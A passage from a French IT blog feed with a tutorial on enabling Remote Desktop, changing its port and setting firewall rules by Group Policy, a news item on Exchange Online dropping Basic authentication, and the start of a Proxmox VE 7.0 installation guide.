<p><img class="aligncenter size-full wp-image-46044" src="media/7097ca89.gpo-activer-rdp-bureau-a-distance-windows-01.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-01.png" alt="" width="760" height="286" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-01.png 760w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-01-550x207.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-01-150x56.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-01-160x60.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-01-50x19.png 50w" sizes="(max-width: 760px) 100vw, 760px" /></p>
<p>Pour trouver le paramètre qui permet d'activer le Bureau à distance, parcourez l'arborescence de cette façon :</p>
<pre>Configuration ordinateur &gt; Stratégies &gt; Modèles d'administration &gt; Composants Windows &gt; Services bureau à distance &gt; Hôte de la session Bureau à distance &gt; Connexions</pre>
<p>Le chemin est long, mais il est contient un paramètre qui m'intéresse :</p>
<pre>Autoriser les utilisateurs à se connecter à distance à l'aide des services Bureau à distance</pre>
<p><img class="aligncenter size-large wp-image-46043" src="media/4bebd132.gpo-activer-rdp-bureau-a-distance-windows-02-800x313.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-02-800x313.png" alt="" width="800" height="313" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-02-800x313.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-02-550x215.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-02-150x59.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-02-768x301.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-02-160x63.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-02-50x20.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-02.png 952w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Je vous invite à modifier ce paramètre pour le basculer sur l'état "<strong>Activé</strong>".</p>
<figure id="attachment_46042" aria-describedby="caption-attachment-46042" style="width: 684px" class="wp-caption aligncenter"><img class="wp-image-46042 size-full" src="media/243eb521.gpo-activer-rdp-bureau-a-distance-windows-03.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-03.png" alt="GPO - Activer l'accès RDP" width="684" height="634" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-03.png 684w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-03-550x510.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-03-150x139.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-03-160x148.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-03-50x46.png 50w" sizes="(max-width: 684px) 100vw, 684px" /><figcaption id="caption-attachment-46042" class="wp-caption-text">GPO - Activer l'accès RDP</figcaption></figure>
<p><strong>La GPO est prête pour cette première étape !</strong> D'ailleurs, si vous mettez à jour les GPO (<em>gpupdate /force</em>) sur une machine sur laquelle s'applique la GPO de configuration du RDP, vous pouvez voir que le bureau à distance est actif. C'est bien la GPO qui a réalisé ce paramétrage : on ne peut pas modifier la configuration et c'est spécifié "<em>Certains paramètres sont gérés par votre entreprise</em>".</p>
<figure id="attachment_46041" aria-describedby="caption-attachment-46041" style="width: 800px" class="wp-caption aligncenter"><img class="wp-image-46041 size-large" src="media/bb8265ea.gpo-activer-rdp-bureau-a-distance-windows-04-800x499.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-04-800x499.png" alt="L'état du Bureau à distance dans Windows 11" width="800" height="499" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-04-800x499.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-04-550x343.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-04-150x94.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-04-768x479.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-04-160x100.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-04-50x31.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-activer-rdp-bureau-a-distance-windows-04.png 1024w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption id="caption-attachment-46041" class="wp-caption-text">L'état du Bureau à distance dans Windows 11</figcaption></figure>
<p>Passons à la suite.</p>
<h2>III. Modifier le port du RDP par GPO</h2>
<p>Par défaut, la connexion Bureau à distance s'appuie sur le port 3389. Il est préférable d'utiliser un port spécifique pour la connexion Bureau à distance, cela permet de masquer le service en quelque sorte. Pour cela, il faut modifier le Registre de Windows.</p>
<p>Toujours dans la même GPO, on va réaliser cette opération pour définir le port "<em>13389</em>" à la place de "<em>3389</em>". Parcourez la GPO de cette façon :</p>
<pre>Configuration ordinateur &gt; Préférences &gt; Paramètres Windows &gt; Registre</pre>
<p>Ensuite, effectuez un clic droit et sous "<strong>Nouveau</strong>" cliquez sur "<strong>Élément Registre</strong>".</p>
<p><img class="aligncenter size-large wp-image-46048" src="media/74ca6d61.gpo-modifier-port-rdp-bureau-a-distance-windows-01-800x258.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-modifier-port-rdp-bureau-a-distance-windows-01-800x258.png" alt="" width="800" height="258" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-modifier-port-rdp-bureau-a-distance-windows-01-800x258.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-modifier-port-rdp-bureau-a-distance-windows-01-550x178.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-modifier-port-rdp-bureau-a-distance-windows-01-150x48.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-modifier-port-rdp-bureau-a-distance-windows-01-768x248.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-modifier-port-rdp-bureau-a-distance-windows-01-160x52.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-modifier-port-rdp-bureau-a-distance-windows-01-50x16.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-modifier-port-rdp-bureau-a-distance-windows-01.png 997w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Configurez l'élément de cette façon :</p>
<ul>
<li><strong>Action :</strong> Mettre à jour</li>
<li><strong>Ruche :</strong> HKEY_LOCAL_MACHINE</li>
<li><strong>Chemin d'accès de la clé :</strong> SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp</li>
<li><strong>Nom de la valeur :</strong> PortNumber</li>
<li><strong>Type de valeur :</strong> REG_DWORD</li>
<li><strong>Données de la valeur :</strong> 13389 <em>(votre port personnalisé)</em></li>
<li><strong>Base</strong> : Décimal</li>
</ul>
<p>Vous devez obtenir ceci :</p>
<figure id="attachment_46047" aria-describedby="caption-attachment-46047" style="width: 396px" class="wp-caption aligncenter"><img class="wp-image-46047 size-full" src="media/197ec587.gpo-modifier-port-rdp-bureau-a-distance-windows-02.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-modifier-port-rdp-bureau-a-distance-windows-02.png" alt="GPO - Modifier le port d'écoute du RDP" width="396" height="453" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-modifier-port-rdp-bureau-a-distance-windows-02.png 396w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-modifier-port-rdp-bureau-a-distance-windows-02-131x150.png 131w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-modifier-port-rdp-bureau-a-distance-windows-02-140x160.png 140w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-modifier-port-rdp-bureau-a-distance-windows-02-44x50.png 44w" sizes="(max-width: 396px) 100vw, 396px" /><figcaption id="caption-attachment-46047" class="wp-caption-text">GPO - Modifier le port d'écoute du RDP</figcaption></figure>
<p>Validez et mettez à jour les GPO sur votre poste pour tester... Dans les paramètres du Bureau à distance, on peut voir "<strong>Port du Bureau à distance : 13389</strong>". Sur Windows 11, cette information apparaît clairement et c'est appréciable. Sur Windows 10, il faut aller dans les options avancées du Bureau à distance pour le voir, ou alors dans le Registre directement.</p>
<p><img class="aligncenter size-full wp-image-46046" src="media/81a0361b.gpo-modifier-port-rdp-bureau-a-distance-windows-03.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-modifier-port-rdp-bureau-a-distance-windows-03.png" alt="" width="624" height="307" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-modifier-port-rdp-bureau-a-distance-windows-03.png 624w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-modifier-port-rdp-bureau-a-distance-windows-03-550x271.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-modifier-port-rdp-bureau-a-distance-windows-03-150x74.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-modifier-port-rdp-bureau-a-distance-windows-03-160x79.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-modifier-port-rdp-bureau-a-distance-windows-03-50x25.png 50w" sizes="(max-width: 624px) 100vw, 624px" /></p>
<p>Pour le moment,<strong> le Bureau à distance est activé et accessible sur le port 13389 sur le poste Windows 11.</strong> Par contre, depuis une machine distante, cela ne fonctionne pas ! Pourquoi ? Tout simplement parce que le pare-feu Windows bloque la connexion.</p>
<h2>IV. Autoriser le RDP dans le pare-feu par GPO</h2>
<p>Pour terminer, nous allons <strong>autoriser le Bureau à distance dans le pare-feu de Windows</strong>, toujours avec notre GPO.</p>
<p>Plusieurs cas de figure :</p>
<ul>
<li>Vous souhaitez utiliser le port par défaut du Bureau à distance (3389) : passez directement au point B.</li>
<li>Vous souhaitez utiliser un port personnalisé : suivez toute la procédure</li>
</ul>
<p>Dans tous les cas, pour créer une règle de pare-feu, procédez comme cela :</p>
<pre>Configuration ordinateur &gt; Stratégies &gt; Paramètres Windows &gt; Paramètres de sécurité &gt; Pare-feu Windows Defender avec fonctions avancées de sécurité &gt; Règles de trafic entrant</pre>
<p>Créez une nouvelle règle : clic droit puis "<strong>Nouvelle règle</strong>".</p>
<p><img class="aligncenter wp-image-46057 size-full" src="media/31ae475b.gpo-regle-parefeu-autoriser-rdp-windows-01.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-01.png" alt="GPO - Configurer le pare-feu pour autoriser le RDP" width="672" height="415" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-01.png 672w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-01-550x340.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-01-150x93.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-01-160x99.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-01-50x31.png 50w" sizes="(max-width: 672px) 100vw, 672px" /></p>
<h3>A. Autoriser le RDP sur un port personnalisé</h3>
<p>Nous ne pouvons pas utiliser la règle prédéfinie et intégrée à Windows car on ne peut pas personnaliser le port, cependant c'est ce que nous avons besoin de faire... Pour le type de règle, choisissez "<strong>Port</strong>".</p>
<p><img class="aligncenter size-full wp-image-46056" src="media/1d451ba2.gpo-regle-parefeu-autoriser-rdp-windows-02.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-02.png" alt="" width="710" height="576" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-02.png 710w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-02-550x446.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-02-150x122.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-02-160x130.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-02-50x41.png 50w" sizes="(max-width: 710px) 100vw, 710px" /></p>
<p>Choisissez "<strong>TCP</strong>" et cochez "<strong>Ports locaux spécifiques</strong>" pour préciser "<strong>13389</strong>" (ou une autre valeur, selon votre choix).</p>
<p><img class="aligncenter size-full wp-image-46055" src="media/679344c7.gpo-regle-parefeu-autoriser-rdp-windows-03.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-03.png" alt="" width="709" height="576" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-03.png 709w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-03-550x447.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-03-150x122.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-03-160x130.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-03-50x41.png 50w" sizes="(max-width: 709px) 100vw, 709px" /></p>
<p>Cliquez sur "<strong>Autoriser la connexion</strong>" puisque nous souhaitons laisser passer ce flux.</p>
<p>Passez la section "<strong>Profil</strong>" sans apporter de modification, enfin <strong>si vous souhaitez autoriser seulement la connexion depuis votre LAN, cochez seulement le profil "Domaine".</strong></p>
<p><img class="aligncenter size-full wp-image-46054" src="media/5e54a8bd.gpo-regle-parefeu-autoriser-rdp-windows-04.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-04.png" alt="" width="708" height="577" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-04.png 708w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-04-550x448.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-04-150x122.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-04-160x130.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-04-50x41.png 50w" sizes="(max-width: 708px) 100vw, 708px" /></p>
<p>Donnez un petit nom à la règle et validez.</p>
<p><img class="aligncenter size-full wp-image-46053" src="media/d75f05a7.gpo-regle-parefeu-autoriser-rdp-windows-05.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-05.png" alt="" width="710" height="575" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-05.png 710w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-05-550x445.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-05-150x121.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-05-160x130.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-05-50x40.png 50w" sizes="(max-width: 710px) 100vw, 710px" /></p>
<p>Si vous le souhaitez, vous pouvez accéder aux propriétés de cette règle pour affiner. Par exemple, pour autoriser seulement les machines appartenant à un sous-réseau spécifique à se connecter.</p>
<h3>B. Configurer la règle RDP "Bureau à distance" par GPO</h3>
<p>Si vous activez le bureau à distance manuellement sur une machine Windows,<strong> la règle "Bureau à distance" intégrée dans le pare-feu Windows sera activée automatiquement.</strong> Du coup, si vous créez une règle pour autoriser la connexion sur un port personnalisé, cette règle restera active inutilement (et donc le port ouvert). Dans ce cas, il est préférable de<strong> bloquer la connexion sur ce port</strong> : c'est que nous allons faire.</p>
<p>Par contre,<strong> si vous souhaitez utiliser le port par défaut du RDP, vous devez activer cette règle par GPO pour autoriser la connexion</strong>. La procédure est la même dans les deux cas, sauf que dans un cas on bloque, dans l'autre on autorise : faites le bon choix !</p>
<p>Créez une nouvelle règle et choisissez "<strong>Prédéfinie</strong>" puis "<strong>Bureau à distance</strong>".</p>
<p><img class="aligncenter size-full wp-image-46052" src="media/c3d62eb3.gpo-regle-parefeu-autoriser-rdp-windows-06.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-06.png" alt="" width="707" height="576" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-06.png 707w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-06-550x448.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-06-150x122.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-06-160x130.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-06-50x41.png 50w" sizes="(max-width: 707px) 100vw, 707px" /></p>
<p>Continuez sans apporter de modifications.</p>
<p><img class="aligncenter size-full wp-image-46051" src="media/7b417bce.gpo-regle-parefeu-autoriser-rdp-windows-07.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-07.png" alt="" width="710" height="578" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-07.png 710w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-07-550x448.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-07-150x122.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-07-160x130.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-07-50x41.png 50w" sizes="(max-width: 710px) 100vw, 710px" /></p>
<p>Choisissez "<strong>Autoriser la connexion</strong>" pour du RDP sur le port 3389, sinon choisissez "<strong>Bloquer la connexion</strong>" pour du RDP sur le port 13389 (puisque nous avons déjà créé une autre règle).</p>
<p><img class="aligncenter size-full wp-image-46050" src="media/1250d415.gpo-regle-parefeu-autoriser-rdp-windows-08.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-08.png" alt="" width="709" height="577" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-08.png 709w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-08-550x448.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-08-150x122.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-08-160x130.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-08-50x41.png 50w" sizes="(max-width: 709px) 100vw, 709px" /></p>
<p>Voilà, le tour est joué ! Voici ce que l'on obtient :</p>
<p><img class="aligncenter size-full wp-image-46049" src="media/cc7b2a48.gpo-regle-parefeu-autoriser-rdp-windows-09.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-09.png" alt="" width="730" height="117" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-09.png 730w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-09-550x88.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-09-150x24.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-09-160x26.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-09-50x8.png 50w" sizes="(max-width: 730px) 100vw, 730px" /></p>
<p>Mettez à jour la GPO sur votre machine et vous devriez pouvoir vous connecter en RDP sur le port personnalisé ! Cela est valable sur toutes les machines où s'applique la GPO.</p>
<p>PS : pour se connecter en Bureau à distance sur un port personnalisé, il faut le spécifier à la suite de l'adresse IP / du nom d'hôte.</p>
<p><img class="aligncenter size-full wp-image-46059" src="media/42b3f198.gpo-regle-parefeu-autoriser-rdp-windows-10.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-10.png" alt="" width="409" height="254" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-10.png 409w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-10-150x93.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-10-160x99.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/gpo-regle-parefeu-autoriser-rdp-windows-10-50x31.png 50w" sizes="(max-width: 409px) 100vw, 409px" /></p>The post <a href="https://www.it-connect.fr/configurer-le-rdp-par-gpo-activer-lacces-port-par-defaut-regle-de-pare-feu/">Configurer le RDP par GPO : activer l’accès, port par défaut, règle de pare-feu</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46457
title: Exchange Online – l’authentification Basic sera désactivée en octobre 2022
uri: Exchange-Online-l-authentification-Basic-sera-désactivée-en-oc
url: https://www.it-connect.fr/exchange-online-lauthentification-basic-sera-desactivee-en-octobre-2022/
content:
<p><strong>À partir du 1er octobre 2022, l'authentification Basic sera désactivée au sein d'Exchange Online, sur tous les tenants Microsoft 365 / Office 365. Grâce à cette décision, Microsoft souhaite renforcer la sécurité de ses clients.</strong></p>
<p>Initialement, l'authentification Basic devait être désactivée pendant le second semestre 2021, mais Microsoft a revu ses plans à cause de la pandémie de la Covid-19.</p>
<h2>Que va-t-il se passer le 1er octobre 2022 ?</h2>
<p>L'authentification Basic va être désactivée sur tous les protocoles utilisés par Exchange Online. Une liste qui intègre des protocoles et certaines fonctionnalités. Voici la liste fournie par Microsoft : Exchange Web Services (EWS), Exchange ActiveSync (EAS), POP, IMAP, Remote PowerShell, MAPI, RPC, SMTP AUTH et OAB. La firme de Redmond précise qu'<strong>il y a une exception puisqu'il sera possible de réactiver l'Auth Basic pour le SMTP</strong>. Pour le reste, ce ne sera pas modifiable et cela s'appliquera sur tous les tenants.</p>
<p>Pour réaliser de premiers essais, début 2022, Microsoft sélectionnera quelques tenants et désactivera l'Auth Basic pour tous les protocoles (sauf SMTP AUTH), pour une période comprise entre 12 à 48 heures.</p>
<p>À partir du 1er octobre 2022, les <strong>méthodes d'authentification modernes</strong> (<em>Modern Auth</em>) devront être utilisées systématiquement. Si vous utilisez le Webmail d'Outlook, vous n'avez pas d'inquiétude à avoir. Par contre,<strong> si vous utilisez Outlook dans une version un peu ancienne</strong> ou un client de messagerie qui ne supporte pas les nouvelles méthodes d'authentification, vous ne pourrez plus vous connecter. Concrètement, <strong>vous devez utiliser au minimum Outlook 2013 Service Pack 1 pour continuer à vous connecter à Microsoft 365.</strong></p>
<p>Dès à présent, vous pouvez créer une stratégie Exchange Online sur votre tenant pour désactiver l'Auth Basic et vérifier si vous êtes déjà prêt à ce changement. Voir<a href="https://docs.microsoft.com/en-us/exchange/clients-and-mobile-in-exchange-online/disable-basic-authentication-in-exchange-online" target="_blank" rel="nofollow noopener"> cette documentation</a> de Microsoft.</p>
<h2>Bug de sécurité de l'Autodiscover : la raison de cette annonce ?</h2>
<p>Même si cela semblait déjà prévu, Microsoft a publié cette annonce juste après la publication de Guardicore au sujet d'<a href="https://www.it-connect.fr/microsoft-exchange-un-bug-dans-lautodiscover-expose-vos-identifiants/" target="_blank" rel="noopener">un bug de sécurité dans l'Autodiscover</a> et qui expose les identifiants des utilisateurs. Des identifiants en danger notamment à cause de l'Auth Basic qui ne sécurise pas suffisamment les identifiants.</p>
<p><a href="https://techcommunity.microsoft.com/t5/exchange-team-blog/basic-authentication-and-exchange-online-september-2021-update/ba-p/2772210" target="_blank" rel="nofollow noopener">Plus d'infos sur le site de Microsoft</a></p>
<p><a href="https://www.bleepingcomputer.com/news/microsoft/microsoft-will-disable-basic-auth-in-exchange-online-in-october-2022/https://www.bleepingcomputer.com/news/microsoft/microsoft-will-disable-basic-auth-in-exchange-online-in-october-2022/" target="_blank" rel="nofollow noopener">Source</a></p>The post <a href="https://www.it-connect.fr/exchange-online-lauthentification-basic-sera-desactivee-en-octobre-2022/">Exchange Online – l’authentification Basic sera désactivée en octobre 2022</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46322
title: Comment installer Proxmox VE 7.0 et créer sa première VM ?
uri: Comment-installer-Proxmox-VE-7-0-et-créer-sa-première-VM
url: https://www.it-connect.fr/comment-installer-proxmox-ve-7-0-et-creer-sa-premiere-vm/
content:
<h2>I. Présentation</h2>
<p><strong>Dans ce tutoriel, nous allons voir comment installer Proxmox VE 7.0, la dernière version de l'hyperviseur basée sur Debian 11. Suite à l'installation du système, nous verrons comment créer sa première machine virtuelle sous Proxmox.</strong></p>
<p>Même s'il est basé sur Linux, Proxmox est capable de faire tourner des machines virtuelles Windows et Linux, ainsi que FreeBSD.</p>
<ul>
<li><a href="https://www.proxmox.com/en/news/press-releases/proxmox-virtual-environment-7-0" target="_blank" rel="nofollow noopener">Les nouveautés de Proxmox VE 7.0</a></li>
</ul>
<h2>II. Prérequis pour l'installation de Proxmox</h2>
<h3>A. La machine physique</h3>
<p>Nous allons <strong>installer Proxmox</strong> sur une machine physique, alors vous allez avoir besoin d'un écran, d'un clavier et d'une souris, ou de votre KVM préféré.</p>
<ul>
<li><strong>CPU</strong></li>
</ul>
<p>Au niveau de la configuration matérielle de la machine physique, il est indispensable d'avoir un processeur qui supporte la virtualisation (<em>processeur 64 bits avec traduction d’adresse de second niveau (SLAT)</em>). Pour le nombre de cœurs, le minimum c'est 2 cœurs, mais disons que la recommandation c'est plutôt 4 cœurs.</p>
<ul>
<li><strong>RAM</strong></li>
</ul>
<p>Le strict minimum, c'est 2 Go de RAM, mais vous n'allez pas pouvoir faire grand-chose. Si vous souhaitez faire une ou deux VM sous Linux, vous devez partir sur 4 Go.</p>
<ul>
<li><strong>Stockage</strong></li>
</ul>
<p>Pour le stockage, je vous recommande 128 Go en SSD pour le système et un second espace de stockage dédié pour les machines virtuelles et les images ISO.</p>
<ul>
<li><strong>Carte réseau</strong></li>
</ul>
<p>Une interface réseau, au minimum.</p>
<p>Bien entendu, la configuration de votre serveur physique doit être en adéquation avec vos besoins, et ça, je ne peux pas le deviner.</p>
<h3>B. Création de la clé USB bootable</h3>
<p>Dans un premier temps il sera nécessaire de <strong>récupérer le média d'installation (ISO)</strong> pour créer une clé USB bootable afin d'installer Proxmox sur notre serveur.</p>
<p>Pour cela, la méthode la plus sécurisée est de se rendre directement sur le site de l’éditeur afin de s'appuyer sur une source sûre.</p>
<ul>
<li><a href="https://www.proxmox.com/en/downloads/category/iso-images-pve" target="_blank" rel="nofollow noopener">Télécharger Proxmox VE</a></li>
</ul>
<p>Cliquez sur "<strong>Proxmox VE 7.0 ISO Installer</strong>" pour télécharger l'ISO. Ensuite, créez la clé USB bootable avec un utilitaire. Je vous recommande d'utiliser Rufus : il suffira de sélectionner votre clé USB et le fichier ISO.</p>
